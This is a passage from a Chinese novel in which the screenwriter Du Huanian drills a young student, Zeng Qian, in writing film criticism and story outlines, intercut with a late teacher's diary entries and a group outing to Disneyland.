“她没要我的钱,”曾倩抹抹脸,“反正我妈已经不在了,我能相信的只有她了。”曾睿正想说还可以信我,曾倩一叹,“我信我妈的眼光,不会看错。”
曾睿沉默着看她远去。
最后谁也没想到,她会在杜华年家过年。
看着华丽复古的复式小楼和忙前忙后的保姆,她问杜华年,“你家这气氛挺好的啊,你出什么走呢?”
杜华年淡笑,“一定要像你一样,和他们有什么新仇旧恨?”她吃了一块卤牛肉,“我和我父亲有许多理念不一致,谁也说服不了谁。有些反叛是为了恩怨,有些反叛,是为了自由。我只是为了自由。”
曾倩自觉地对号入座,忽而觉得自己的理由就……挺俗气。
夏莲很热情,何文谦也很高兴,毕竟杜华年已经很多很多年,没有回家过年了。喝了两杯,何文谦甚至安慰曾倩,“小姑娘,你放心在我家住,这件事情你父亲不对,任何时候,不能强行把自己的意愿强加给孩子,要尊重孩子,你的意愿最重要,他不能强迫你出国。”
“呵!”杜华年冷哼,并向上翻了个白眼。夏莲赶紧救场,“来来,孩子,多吃点,这个才好吃,我们家阿姨做鱼最好吃了,芳芳最爱吃她做的鱼。”收到夏莲的眼色,杜华年喝了口鱼汤,也懒得和醉鬼计较。
第一朵迎春开的时候,杜华年和曾倩返回了南京。除了一点行李,杜华年只带走了华丽娟的日记。
李雯早就在机场等着了,见到曾倩时像看博物馆文物一样绕着她转了一圈,最后朝着曾倩手臂用力一拍,“小姑娘,就是你啊!”
曾倩吓了一跳,并吃痛,捂着手臂望向杜华年,“我……怎么了?”
“李雯,我朋友。”杜华年敷衍地拍拍曾倩权当安抚,戴上墨镜,大步流星走出大厅。李雯扶着她留下的行李,盯着她水漫
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金山的步伐,眼里烧着小火苗。
曾倩看着一个大佬已经走远,另一个大佬还在原地,手臂上还隐隐作痛,正凌乱,就听见李雯自言自语,“我还以为她这效果是靠高跟鞋踩出来的,没想到平底鞋也行……”曾倩“啊?”了一声,满脑袋问号,李雯却笑出了牙龈,一把拉住曾倩抬腿就走,“小姑娘不错,你把老杜给我带回来了!今晚姐姐请你们喝酒。”“啊?”
曾倩还懵着,就被扯出了机场。
在千帆过不醉不归的时候,曾倩感到了豪情万丈,正巧帘外风雨正盛,馆内灯暖酒热,她觉得她的未来一片光明。
可是当她宿醉醒来,才真正明白李雯最后躺下去前跟她说那句话的分量——“辛苦你了以后。”
一大早,鸟儿才开始唱歌,她还捂着痛到要炸的头在被子里扭来扭去,杜华年粗暴地打开门,扔给她一套运动服,“换衣服,跟我去跑步,以后每天都要跑一公里。”
曾倩脑袋一阵嗡鸣,她很费解,“你头不疼吗?昨天喝那么多酒……”
“赶紧的,不然你就滚回学校。”她已经出了门。
曾倩想骂娘,但又迫于她的威逼,只能爬起来洗漱下楼。
清晨的某公园人工湖边,曾倩喘得几乎断气,望着身边不断路过的健步如飞的老年人,她绝望地一屁股坐在了地上。
杜华年跑得更狼狈,但还是死撑着一口气,伸手去拽地上的曾倩,“起来!不能停,对心脏不好……”
曾倩被她拖着继续往前走,路过一段枯柳底,杜华年停下脚步,用力平复呼吸,“我也……好多年没跑了,你至少……比我年轻……”
曾倩累得眼泪都出来了,还在想她这话的深意。
“你的目标远比你以为的更难实现。就像我现在,我以为我还能像十年前一样跑,但其实,我快累死了……但即便我快累死了,我也已经跑完了。”她拦下曾倩往嘴边递水的手,“别喝,喘匀气才能喝。记住,这是我教你的第一句话:如果你觉得你可以,那么你一定要立刻去做,然后在你觉得其实不可以的时候,让它变成事实上的可以。”她深深看她一眼,还微喘着气,又抬起腿,大步往前走。
曾倩还没理解,但她望着她的后背喊,“我记住了。”
28. 比高考难得多的事
阳台上的桂花又开了,在寒冬没完全过去之前。
早晨七点,跑完步回来,曾倩瘫在沙发里发呆,杜华年站在阳台上为她的桂花香陶醉。闹钟响了三遍,她才记起昨晚杜华年给她定的时间表,从沙发上爬起来,丧尸一样路过阳台往浴室去时,杜华年头也不回,“半小时内,吃完早饭坐在我面前,否则,你就滚回你宿舍继续睡。”
语气很平静,内容很可怕,曾倩一个激灵,“Duang”一声撞进浴室,随即发出一声哀嚎。
曾倩这个书已经念到大三下了,大学生的废物作息早深入她的骨髓。本来杜华年也是个标准的现代中年人,作息也没好到哪里去,可是她失业这段日子,别的没变好,作息倒是健康起来,身体变好了。
曾倩看见油条豆浆小笼包的时候,还有不到五分钟就半小时了,杜华年已经给猫猫喂完羊奶,来到了餐桌旁坐下。曾倩咬咬牙,把食物收起来放回了厨房,再乖乖坐回桌前,半小时刚好。
“一个月内,看完一百部电影,每部都要写影评。”杜华年往她怀里甩了一份清单,“条件简陋,这个餐桌不吃饭的时候,就是你的工作台,回房间如果想加班,就用床头柜里的小桌板。”
?配套这么齐全?曾倩腹诽,整得跟高考宿舍一样,还配小桌板,我是不是得唱首谢谢你,因为有你……还没诽完,杜华年就打开了投影。
很快,她将为她戏谑的态度下跪。
第一部电影是《卡萨布兰卡》,看完了杜华年问她,“这个故事放到现在怎么样?”
“很好。”
“错。离开了二战背景,这只是一个普通的爱情故事,甚至在动机上会令人费解。”
“啊,哦,对。”
“哦什么?你得用脑子看。就这样你写出来的影评是一定不及格的。我要的不是你告诉我它好不好,我要的是你的观点,你的想法,你对每个故事都要足够了解,深入到它的最底层。问自己,如果我是编剧,我会不会这么写,如果我是编剧,我会不会写得这么好?会不会写得更好?因此,你必须知道,每一个好,好在哪里。”
曾倩还沉浸在尼克和伊尔莎的悲剧爱情之中,被杜华年一训,脑子嗡嗡直响,第二部电影却马上开始了。
她有了教训,这一次认真地思索,等到电影放完,杜华年却问她喜不喜欢男主角?喜不喜欢女主角?感动吗?可她并没有很沉浸在故事情节里,她只是很认真地思索故事的逻辑,思索如果她是编剧……然后,杜华年再次训她,“你得用心看。如果你不能沉入到每个人物的命运中,不去与他们共情,你永远不明白他们为什么感人,你就永远写不出令人感动的人物。你必须和他们一样,欢喜,流泪,并且,你还要知道自己为什么被感动,共情的点在哪里,否则你自己怎么创造人物呢?”
曾倩又懵了,到底是要理智,还是要感性?她不敢问,因为第三部电影又开始了。
……
等到她揉着发酸的眼睛从沙发上站起来,已经中午了,她腹鸣如擂鼓。杜华年递给她一杯热酒,“一会儿有人来做饭,你可以休息一会儿。”
“我们不是重开工作室吗?你让我做这些……是具体要达到一个怎样的目的?”
杜华年吃了一颗黑巧,“我不知道什么时候能恢复写作,可能一两月,可能永远不行……所以我需要保险,你要尽快成为一个成熟的商业编剧,同时还要保持我要求的艺术水准,然后我会把宣传中心都放在你身上,你代替我成为工作室的标志,要让所有人对你署名的剧本趋之如骛。”
曾倩愣了愣,闷一口酒,“是不是说,你要捧我出道?”
“词是老了点,但,是这么个意思。”她没再理会曾倩,独自回了房间。
陈姨打开了密码锁,曾倩吓了一跳,杜华年从个房间走出来,对陈姨微笑。陈姨笑得满眼慈爱,“小华,我给你带了点糍粑。”
“谢谢陈姨,以后又要辛苦你了。”
“哪里话!我还怕你不找我咧!”陈姨快步走进了厨房。
曾倩开始了地狱一般的生活,早晨六点半起床,跑步,洗澡,早饭,看电影,看书,看电影,看书,午饭,午休半小时,写影评,看书,看电影,看电影,写影评,晚饭,看书,看电影……作息堪比高三冲刺。
期间随时要准备接受杜华年猝不及防地提问,通常不论她多么严阵以待,都不能答出正确答案,于是要经受杜华年疾风骤雨一般的批评。
杜华年甚至变态到,挂了一个倒计时牌在客厅投影布边上,计算着距离她开学的日子。
她表示崩溃,“我高考那年,我爸都没这么逼我。”
“所以我不是你爸,”杜华年面无表情,“通过市场的考验,比通过高考的考验,要难得多。”
“你现在是要我一个月干完人家本科四年的活!”
“你以为你从文学院顺利毕业,就能靠编剧挣钱了?别做梦了,赶紧写,不然你今天又不用睡了。”
你看,她的反抗在杜华年这里,简直弱小如蚍蜉撼树。
卡BUG升级了,杜华年天天都梦回高考,梦里那个倒计时就卡在40天,她过分放松的身体无法匹配紧张的神经,于是她总是恐惧。她厌恶这种恐惧,干脆把它从潜意识搬到现实里,那块客厅里的倒计时牌,说是给曾倩看,其实是给她自己看。
曾倩每天都骂娘,杜华年挺喜欢这个背景音,她重新仔细阅读起了华丽娟的日记。她觉得,她还需要很多说不清道不明,似乎看见又无论如何也抓不着的东西,而这本日记里,有这个东西。
2013年7月29日星期一 多云
今天何芳芳来看我,我真是高兴。
她考上了我的母校,她也变得更漂亮了,但她也变得更不爱笑了。
我想带她回家吃饭,她拒绝了,她说以后有机会请我吃饭。
我知道她即将开始她的人生,我仔细看了她很久,似乎她有了一些计划藏在心里,她很想说,但她又没有说。
我羡慕她,我感到淡愁渐浓,下午的时光熏醉我,我像回到了十八岁,我似乎看见了十八岁的我,站在母校的大门下,仰望诗歌一般的未来。<
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快下班的时候,老曾打电话给我,说来接我下班,出去吃晚饭。
说女儿有奶奶去接,今天就住在奶奶家。
他电话挂得匆匆,我知道,那是因为他不允许我拒绝。我很疲惫,并不想看见他。
老曾还准备了玫瑰、蛋糕、钻石项链。真可笑,我好不容易才忘记我的生日,他却偏偏要提醒我。我不想让他难堪,还是接受了他的善意,我勉强告诉自己,他是善意。我告诉他我知道他外面有人,也知道他早有一个私生子,那孩子甚至只比我女儿小两岁。他意外的表情只维持了短短的两秒。真可笑,他还能举动自若地给我添酒,对我说今天是我生日,不要扫兴。
扫兴?难道扫兴的人不是他吗?这场婚姻里,最扫兴的人,最晦气的人,难道不是他?
我很想拂袖而去,但我没有,我的人生已经落寞,我也不求再添酒回灯,我只是,必须再为我的自由去争取,我的人生,总有自由是属于我的吧?
我对他说我们离婚吧,孩子共同抚养,财产平分,好聚好散。他却给我夹菜,又开始剥螃蟹,对我说这是他早上特意订的,从湖里捞上来,立刻就泡进酒里了。
我再也无可忍耐了。
我不能吃螃蟹,实际上,我不能吃海鲜,我有哮喘。
我说,你不要再用你认为你喜欢你觉得你认知里的浪漫来对待我了!我感觉到我在颤抖,因为我感到我的生命就要悄无声息地死去。
他终于皱眉了,但他说,我没有责任感,丝毫不考虑女儿的感受,离婚,会让她在一个破碎的家庭长大。
真的很想仰天大笑,但我没有。我维持着我认为的体面,我说从你出轨那一刻起,你就没资格跟我提女儿的感受了。
我离开了,我没有喝一口酒,也没吃一口饭菜。
他不懂,最大的浪漫,是自由。
其实,我也才懂。
直到深夜,窗外骤然起了狂风,窗帘被拉扯着,即将迎来一场夏夜暴雨。这座房子很大,我不是第一次独自度过长夜,我以为我很习惯。但其实,这样的夜晚会让我的心,格外地狂热,有一股野蛮的冲动,迫使我、命令我一定要做些什么。
因为,我年轻的时候,总是在这样的夜晚,写诗。那些句子,会在第二天,在人群中,传诵。
今夜,这冲动更加野蛮了,因为我看见了她,何芳芳,我知道,她终将走上我所知的,所熟悉的那条路。
我看着日历,明天,我该去医院拿药了,可是我真的不想去了。
我泡了一碗面。
这是倒数第三篇日记,按日期看,距离华老师的意外离世,只有一周了。她甚至开始想,如果那天她随华老师回家吃饭的话,是不是……
这种时候,她特别需要猫猫,可是她已经回来五天了,李雯拖着就是不把猫猫给她送回来。陈姨来叫她吃晚饭,她看见客厅沙发上趴着的曾倩,似乎已经昏阙。
“我不吃了,我出去一趟。你让她睡一会儿,大约十五分钟吧,再叫她起来吃饭。”她交代好陈姨,穿上大衣出了门。
29. 最好的故事,永远是下一个
杜华年刚把车开进森林一样的别墅区,就看见李雯一手牵着她的狗,一手牵着那个小男友,沿着人工湖散步,枯树枯荷,月光明亮,两人腻腻歪歪。她仔细看清男人的脸,我去!还是那个?
她闪了两下灯,从车上走下来,猫猫早就在观望了,见到她下车,立马飞奔过来,李雯愣神着没抓紧绳子,一眨眼,猫猫飞扑进了她怀里。
她深深吸了好几口香臭香臭的小狗,猫猫在她怀里钻来钻去,一颗狗头疯狂蹭她的脸和手,想要舔她。
小狗的热情总是无人能挡。她感觉好了很多。
李雯走过来,“你不盯着曾倩,跑我家干嘛?”
“来接我的狗,你不是没空送嘛。”她故意往小男友身上一斜眼。
李雯知道她内涵她重色轻友,“我怕你忙不过来,帮你多养一阵子,你还不乐意。”
她被逗笑了,“你可真会颠倒黑白。我走了,你好好恋爱。”
“诶,等等!”李雯从小男友手上拿回包包,对他说:“你先回家吧。”转身上了她的副驾,跟逃似的。她分明看见,小男友皱起了眉头,但还是礼貌地向她点头道别。她看了眼已经坐在车里和猫猫傻乐的李雯,也向他点点头,上了车。
开往建邺区,猫猫在后座睡得很甜美。李雯试探开口,“你不问我小宋的事?”
“你想说就自己说。”哦,叫小宋来着,杜华年想。
“他好像真喜欢我,你说怎么办?”
“你被骗多了,斯德哥尔摩了?人家不骗你你还不习惯了?”她在路口等红灯,“你还是别太自信了,学艺术的都不靠谱,画画的尤甚。”
“我知道,但是他好像……挺认真。”李雯挠挠头,自嘲地笑,“先谈着吧。我打算搬出来了,我妈……劝不动算了。”
绿灯,她启动车子,“同居?”
“什么鬼!杜华年你能不拿恋爱脑的逻辑想我吗?”
“你不是吗?”
“……还能不能好好聊天?”她想骂人,但心底又冒起来兴奋的小泡泡,“你不在的时候,我突然觉得生活好空虚。我就纳闷了,没跟你合伙做生意的时候,我也这么活着啊,怎么认识了你一回,我就回不去了?”
“你今年三十五,永远回不去三十四,别赖我身上。”她又停下来等红灯,“你到底去哪?我要回家了。”
“去千帆过吧,我饿着呢,你不是也饿吗?我听见你肚子叫了。”
“这个点你家没饭吃?”绿灯,她拐向秦淮河方向。
“对着他们没胃口,我本来是和小宋去吃宵夜的。”
“哦,难怪。”
李雯其实很开心,她知道杜华年真的回来了,只要她开始每个字都淬了毒一样见血封喉,她的斗志就又回来了。
她多喝了几口黄酒,打车回到家,还没走近门口,就看见一个修长的人影站在屋边树下。她走过去,果然是画画的小宋。
“你怎么没回家?”她歪着脑袋看小宋。
“我不知道你会不会去吃东西。”小宋看起来很疲惫,语气都轻飘飘的。
她惊醒了酒,“你一直在这等?没去吃饭?”
“嗯。看来你吃过了。”小宋欲言又止,“那我回去了。”
她有些内疚,但她不能确定他是不是在演戏,毕竟这也太夸张了点。
小宋果然还是开了口,“你是不是,根本不能相信我?”
他的眼神很明亮,所以里面的悲伤很清楚地被看见。
“……”她沉默了,看着他的眼睛,她不敢妄言真假。
小宋叹口气,“快回去吧,我看你进去。”
他不再看她的眼睛,她咬咬嘴,转身走向大门。
杜华年不在,陈姨收拾好厨房也回去了。整个屋子只剩下曾倩一人,她在灯下写影评,可是没法集中精神,突然的自我时光令她一时间委屈得不得了,很快哭了起来。越哭越上劲,足足嚎了几分钟,郁闷舒缓不少。忽然感觉有人开门,她猛然转头望着大门方向,听了好久,什么都没有。想到杜华年不知道什么时候回来,赶紧抹抹泪,又低头奋笔疾书。
杜华年已经在楼下了,她从停车场走上来时闻到了小区里桂香沉沉,暗淡轻黄体性柔,情疏远迹只香留……她钉在原地,默念此句。找了棵桂花树,花簇繁密,靠在树干上,抽起了烟。又从大衣里衬的口袋里掏出华丽娟的日记,就着路灯读了起来。她也喝了点酒,这会子身上暖烘烘的,并不觉得冷。
柯基摇着尾巴走来走去,拼命闻嗅,贪婪地享受着这个小区的味道。
我好长时间没有见到麻麻了,我很想她。但跟着雯姨好处太多了,吃得好,睡得好。她家的草坪也很大,冬天午后晒晒太阳,简直是狗生巅峰。但是麻麻回来了,我还是要和她在一起,而且,那个小姑娘也回来啦!太棒啦!我知道,我麻麻一定能好起来了。
街上的梧桐抽了新芽,春日的阳光浪漫起来,距离曾倩开学只剩五天。曾倩已经连续写了三天故事大纲,比起影评,大纲被骂得更惨。
“你放进去的东西太多了,你怎么这么贪心?一个故事里怎么可能装得下那么多?”
“你总想写一个最好的,但从头到脚全是拼装的,把最好看的东西全穿身上会怎么样?会丑!”
“删掉删掉删掉!”
“这都是什么鬼东西?毫无新意!重写。”
“你的生活这么无趣么?你想象力呢?没有是吗?”
“把自己放进去,放进去!你得爱你的角色,爱不是把她变成完美的,而是接受她的丑陋、缺陷、龌龊……你不懂爱啊,小朋友!”
“决定主角质量的,是配角,配角,配角!”
……
曾倩终于受不了了,一摔笔,“你说就说,干嘛老是人身攻击我?”
“人身攻击”四个字很熟悉,她好像常常听见,曾倩一脸委屈瞪着她,她冷笑,“我攻击你什么了?我攻击的是大纲。”
“你不知道,教一个人要鼓励为主吗?”
“那是教婴幼儿的方法,你是成年人。”
“你……可是我没试过这样的强度啊,你不知道教人要循序渐进吗?”
“要人哄你滚回学校去!找我干什么?这是你自己要的目标,早跟你说过,走你自己的路,你不啊!是你偏要跟着我啊!”杜华年也来了脾气。
曾倩本就已经在崩溃边缘了,本想争取点人权,却遭到她的清算和威胁,她气得受不了,又哭了起来,“你有没有良心啊杜华年,我是想帮你啊!”
“你是想满足自己的欲望!别总是把自己说得那么好听,我最讨厌你们这种道貌岸人的人!”杜华年瞪起了眼睛,她的眼睛本来就大,线条又凌厉,眼神又冷漠锐利,这时候发脾气,瞪人的样子就更恐怖了。
曾倩被她的眼神吓着了,脑子一片空白。委屈恐惧和愤怒搅和在一起,像有个手在她心里和面一样,揉来按去。她憋得难受,眼泪掉得凶猛,啥也说不出来了,只能跑回自己房间摔上了门。
杜华年捡起她的笔,换了个笔芯放回桌上。走到沙发坐下,挑了一部《楚门的世界》,缩在沙发里看起来,这是她不知第几次看这个故事。猫猫跳上来往她怀里钻,她不禁开始回忆:何文谦都是怎么教我的呢?
呵!他教过我吗?她很快被自己逗笑了,何文谦从来不教我怎么写故事,他永远只会批判我的故事。
杜华年是一个天才,天才是不需要教的,她会说话开始,就会说故事了,会写字的时候,就喜欢一个人闷在屋子里涂涂写写,小朋友轮番来敲她的窗找她出去玩,她都不会去。九岁还是十岁时,班主任看中了她的诗本,想要拿去儿童刊物上出版,何文谦却非要亲自改一遍,改得面目全非,才交给班主任。
从那时起,何文谦开始“教”她写故事了,她只有写出“对”的故事,才能免于他的谩骂。甚至有时候,她抑制不住自己的想象力,偷偷写一两篇自己的小故事,何文谦就会打她手板。她想不明白,到底什么是“对”,什么是“错”?时间久了,她从疼痛中摸清楚了何文谦喜欢的那种故事,同时,她也明白了自己喜欢的故事。
她觉得她对待曾倩,已经是一个顶好的老师了。
电影里,楚门对着镜头说:“In case I don’t see you,go
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od afternoon,good evening and good night.”
曾倩在被子里哭着给李雯打电话,可是李雯听完她的哭诉,只是长久地沉默,然后发出了一个问句,“她就只是这样?”
曾倩也沉默了,然后崩溃更甚,“这还不够吗?!”
李雯心里觉得不安,杜华年回来了,但又好像,没回来。她打电话给陈姨叫她晚上不用过去做饭了,自己带着酒店外卖去了杜华年家。
李雯把菜排开,安排碗筷、杯盘,开酒倒酒,一看就是熟练工,在家常干这活。曾倩从房间磨磨蹭蹭地出来,闻着饭香气就消了一半,坐下来,再吃一口八宝鸭,齿颊留香,什么气都消了,但仍然嘴硬,“你自己都写不出东西了,凭什么说我写的不好?”
李雯吓了一大跳,赶紧去瞅杜华年脸色,却见杜华年像听了个别人的故事一样,伸手也夹了一筷子八宝鸭,“你敢不敢试试?”
曾倩年轻气盛,“试什么?”
杜华年给李雯一个眼色,嘴上没停下吃东西,“给她邮箱,让她发大纲过去。”
李雯已经吓傻,又不敢不照做。曾倩问,“这是什么?”李雯解释,“我们工作室用来甄别投稿的邮箱,后台有设计好的AI系统,做初步筛选。”“电脑看得懂人写的故事?”“你试试就知道了,它会附件告诉你退稿理由。”李雯话音都放得轻细,留着根神经应对杜华年的爆发。
曾倩不信邪,当即放下筷子,把自己这几天最得意的一版大纲发了过去。
漫长的等待,漫长的半个小时。
曾倩和杜华年你一筷子我一筷子,吃得可欢,李雯提心吊胆,盯着杜华年左看右看,实在难以相信杜华年居然没有爆炸?
“我是八宝鸭?”杜华年给她碗里夹了一块鸭肉,“再不吃没了。”
“叮当”,邮箱提醒。曾倩立即打开来看:
感谢,退稿。退稿理由:情节俗套。
杜华年和李雯看都懒得看,你一筷子,我一筷子,连青菜都快吃没了。曾倩上看下看,把退稿邮件看了好几遍,又不信邪,把其他所有大纲都发了过去。
李雯是真没见过这么勇的,她自问自己反正是不敢这么刚杜华年,一边佩服曾倩的勇气,一边又有点嫉妒她得到的……偏爱?
一直到烧烤宵夜都吃完,曾倩收到了最后一封退稿邮件。
“怎么样?信了吧?”李雯已经放松了,她断定杜华年只回来了一半,魂魄不齐,肯定是不会爆发了。
曾倩皱眉瘪嘴不说话,杜华年踢踢李雯,“把我被退稿那封给她看看。”
李雯身躯一震,心里万马奔腾:我去,这家伙早知道我知道了?还假装不知道我在装不知道?她看着眼都不抬依旧吃着烤排骨的杜华年,觉得她不认识她了。李雯打开工作室邮箱,找出去年杜华年小号发来的那封邮件给曾倩。
曾倩一看,退稿理由也是俗套。她点开附件,读完大纲,惊呼,“这也是俗套?”
杜华年打开自己的手机邮箱,递给她看,“确定一下,是我邮箱发出的。”
曾倩崩溃麻了,“要求这么高吗?你这大纲放我们班都是模板了。”
李雯拍拍她肩,“这就是代际差距,习惯就好,过了AI,才能进入人工审核。”
曾倩深深闷了一口啤酒,她感到深深的落差,像高悬而没有尽头的阶梯,就挂在她脑袋上头三寸的地方,穿云破雨,直通天堂。
半晌,曾倩胸口终于一丝戾气也无了,她一脸生无可恋地看着杜华年,“你对自己够狠。”她举起酒杯敬她,动作还见生涩,但姿态却是五体投地。
杜华年随意跟她一碰杯,喝了一口接着吃。曾倩想想又来了点气,“这破玩意谁想出来?”
“我。”杜华年轻飘飘一应。
曾倩一愣,嘴里的酒都漏出来了,赶紧去捂,又看看李雯,李雯点点头,她默默擦干净嘴,骂了一句国粹。
“记住,你最好的故事,永远应该是下一个故事!”杜华年举杯和曾倩悬空的酒杯又一碰。
李雯看看她,看看杜华年,心里又落寞又兴奋。
30. 大家都在等你回来
开学之后,曾倩进入大三下期,她回学校报了个到,从宿舍简单收拾了些铺盖、课本、衣物,又回了杜华年家。
她扛进门两个箱子,“这学期是实习,你能给我开实习证明吗?就一个章的事。”
杜华年穿着睡衣从房间走出来,就看见她满头大汗站在门口,猫猫从她身后窜出来,绕着两个箱子闻闻嗅嗅。
“你等着,我问一下。”杜华年打电话给李雯,“咱那工作室注销了没?”
“没呢吧,谁去办过这个事?你去了?”
“那工商税务手续呢?谁在办?”杜华年头疼。
“鬼还替你办这个事,反正我没管,原来也不是我管呐!”李雯也开始头疼。
“小姑娘怎么堵门口了?”陈姨两手拎着东西站在门外,伸头看着杜华年,加入对话,“这些杂事你从前都是交给小赵处理的,要不,你问问她?”
杜华年眼前一亮,挂了电话,联系小赵,小赵果然靠谱,回复了她肯定的答案。
陈姨买了馄饨当做早餐。杜华年问曾倩,“你不打算回宿舍住了?”她点头,“是不是我写的大纲能过邮箱了,你就能重启工作室?”
杜华年勺子里舀着馄饨,看着她的大眼睛,想起了那年玉兰树下的华丽娟,也是用这样的眼神看着她,“威逼”她答应她定下的分数线。她笑了,“好,你要卧薪尝胆,很好。”
曾倩打了鸡血,立志每天写一个大纲。看电影、看书的数量都翻倍,甚至把她落了几寸灰的教材都翻了出来,仔仔细细研究起古代文学。但灵感这种东西,并不像猫猫那么听话,不是你挥手间就能召唤它来去的,于是她常常emo,暴躁的时候能把自己抓成超级爆炸头。
小赵还一直在替工作室处理工商和税务手续,杜华年就这么一问,她立即就把材料都打包发了过来,说不感动是假的。而暴躁的曾倩也让她重新有种呼吸感,就像一条冻干鱼,又给扔回了轮回井。
她感知到了水流,感知到了命运之轮。轮回井是什么地方?听说朽木扔进去,立即便长出翠芽。
但一拿出来,它又是一节朽木。
“华年姐,其实我知道,大家都在等你回来。”小赵说。
时空开始变得沉默,杜华年不再评价曾倩写的故事,而是不断修改,曾倩每次看着她改过的本子,都无可抑制地背脊发凉,转头又埋进稿纸堆里。她心里清楚,如果不是杜华年写不出来了,断没有她写的份。她有时会想,如果妈妈还活着,看见如今的何芳芳,会怎样呢?嗯,她会哭吧……
杜华年的烟瘾越来越大,尤其在修改剧本的时候,曾倩和猫猫的咳嗽声也此起彼伏,尤以曾倩最为严重,毕竟猫猫比较矮。杜华年心里也惭愧,遂问陈姨有没有什么好办法,陈姨隔天就给她买了一打薄荷糖,还都是0卡的,同时把所有的烟都收走了,连她藏在灶台底下的,阳台花盆后头的,都没放过。
4月12是曾倩生日,杜华年放她一天假,问她想做什么,她居然说想去上海迪士尼,把杜华年又逗笑了。
童话世界和杜华年的宇宙并不相通,她连夜叫来了李雯,李雯又叫来了小赵,小赵还带来了陈姨准备好的桂花藕糖、九制话梅、甘草陈皮、酸甜小萝卜、盐渍柠檬片。
“你打了电话给人小赵,小赵不敢缠上你,就缠上我了,天天问我她的华年姐什么时候重出江湖,东山再起。今天既然你缺人,咱也不怕再多一个,对吧小倩倩?”面对傻眼的杜华年,李雯自觉解释。
“不怕不怕,谢谢你们来给我过生日。”曾倩爱热闹,本来担忧和杜华年在一起不够嗨,现在好了,笑容瞬间明媚。
“生日快乐!我叫赵彤,你叫我小赵就行。”小赵递过去一个包装精致的盒子。
“这么早就送礼物了?”曾倩傻乐,“小赵姐好。我还以为这些蜜饯是我礼物呢。”
“这些是给你芳芳姐保命用的。”李雯抱起猫猫,“走吧,带着猫猫一块儿去,我开车。”
“何芳芳有什么暗病?”曾倩眼睛瞪得像铜铃。
众人走进了电梯。
小赵按了电梯,“你居然叫华年姐本名?她同意吗?”
“要不怎么说她是宠妃呢。你什么时候看见杜华年会去游乐园?她看见摩天轮就能心跳加速,听到过山车的声音就要呕吐,要是见了海盗船,估计可以当场晕阙。但今天就因为小倩倩生日,她就实现这辈子的第一次了。”李雯阴阳怪气。
“啥第一次?”小赵和曾倩异口同声。
“踏足迪士尼。”
“哦~”再次异口同声。
吵得头疼,杜华年闭眼叹气,从卫衣口袋里摸出一颗薄荷糖。
李雯笑她,“这种时候,你就显得比我老了十岁。还是陈姨疼你,连夜给你备了这么多仙丹。”杜华年斜她一眼,又闭目养神。李雯做好了听她人身攻击的准备,可是,她没有。她多看了她好几眼,仍旧是神仙打坐的安详。她不是这样的,李雯心头浮现相识十年来的每次斗嘴,她从来都能骂到别人先闭麦,现在这是怎么了?
“到啦,雯姐!”曾倩提醒她,她才回过神来,电梯里不知什么时候只剩她一人,她赶紧走出去,很担心杜华年深究她走神的缘由,幸好小赵突然兴奋发问,“欸,我好想第一次看见华年姐穿卫衣牛仔裤耶!华年姐,你有卫衣啊?”
杜华年给她翻了个白眼。
李雯正好收拾了情绪,“你认识她才几年,她大学那会儿,最爱穿卫衣。”
杜华年又给李雯翻了个白眼。
一进迪士尼,杜华年的感觉就像是出门遛三只雪橇犬的家长,撒手没,不撒手,也没。李雯确实如她所说,根本不像三十六岁的老阿姨,顶天也就是个十六岁。
四个人切了两个分屏画面,左边三个人撒欢疯玩,跳楼机就能连上三回,右边杜华年吃了华夫饼、冰激凌、薯条、小笼包、水果沙拉。
杜华年实在太撑了,坐在餐厅里,无聊到开始思考:迪士尼可以要求把港式茶餐厅也要装进童话小屋里,小馄饨大馄饨都得是米老鼠的馄饨,从唐老鸭的厨房里做出来,再送到粉红豹的餐桌上。于是,一份路边摊上的小馄饨可以翻两倍甚至三倍的价钱,而因为人多,风味恐怕还不如路边摊上的。
大有大的好处,大有大的坏处,但无论如何,它有它的话语权。
杜华年终于再次想起她的工作室,就好像一碗小馄饨,想要能一直做一碗出色的小馄饨,又想要能卖给更多人。
她已经很久不去想这些事了,和工作室有关的东西,都从她的生活里隐退成省略号,可是现在……现在她又开始想了,开始得这么自然……
“华年姐!”一声娇喝给她吓了一跳,面前砸一下来一个满身香水味的姑娘,呛得她差点吐出来。“我是芊芊啊!刘芊芊。”
杜华年勉强忍住恶心,抬
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头看向她,她头顶戴着米奇耳朵,妆面很清淡,穿着背心和小短裙,扎个马尾,脸颊红扑扑,看着竟像个高中生。
“你来玩啊?好久不见呢!我后来给你发信息你都不回我,我还以为你……”
芊芊还是很熟络的一个话痨,她很想好好和她打个招呼,但一开口就想要吐,赶紧伸手去摸海盐柠檬片。芊芊也停了下来,却火上浇了个油,“华年姐你是不是怀了?”
幸好李雯来找她,看见这一幕,立即坐过来解救了她,“芊芊大明星?”她顺势把杜华年推到了一边,往她手里塞了个薄荷油,“你华年姐闻不得太浓的香水,你今天喷多了。”
李雯在圈子里算半个金牌监制,另外半个全靠有个好搭档杜华年,但论身份,她即便是私生女,那也是资本的私生女。刘芊芊再一次露出受宠若惊的表情,令杜华年立时想起去年冬天在陆家嘴公寓的初见,现在也差不多,刘芊芊恨不得越过小小桌台,扑上来挽住李雯的手臂。
“李雯姐!我真是烧了高香了,今天能见到你们俩!”她招手要了一杯汽水,“下次,下次我啥也不喷,”又从包里掏出湿巾,拼命抹脖子,“之前每次见面,华年姐都没提过,所以我不知道,我汗大,平时都爱喷点。还是华年姐修养好,忍着也不说,我早知道……”
杜华年抬手打断她,“之前见面你穿得都挺多,味道没那么浓。加上今天我状态也不好,倒是你,要是不喷这香水,今天就是高中生了。”
李雯看了杜华年一眼。对芊芊说:“还是你们年轻人身体好,这才四月份,你就穿这么清凉了?”
“嗐,是角色要求!你看我这脸,你以为是热红的?是冻的!”芊芊喝上了汽水,“华年姐,你啥时候再写本子啊?自从去年拍了你的戏,我真火了,可是后来又没有拍你的戏了,我又快糊了。今年开年我又回去拍小甜剧了,你看,今天我就是来营业的,故意假装和男主演员逛迪士尼被偷拍。”
杜华年挑眉毛冷笑一声,李雯嗤之以鼻,“这帮编剧,正经故事不好好写,写花絮倒是认真,什么时候作假的力气分一半出来,观众都不至于吃得这么差。”
芊芊疯狂点头,“尊嘟呢!”突然她捂嘴,“我去,串人设了不好意思。我是说真的,去年拍华年姐那个本子,我才第一次知道什么叫演戏。华年姐,我养成习惯写小传了,我现在写得挺好了,比如这个戏吧,这个什么狗屁女主,我给她写小传气得肝疼,根本没有合理的地方……”
杜华年抬手打断她,“那你可以改,改到她合理为止。不合理的人物,为什么要演?”
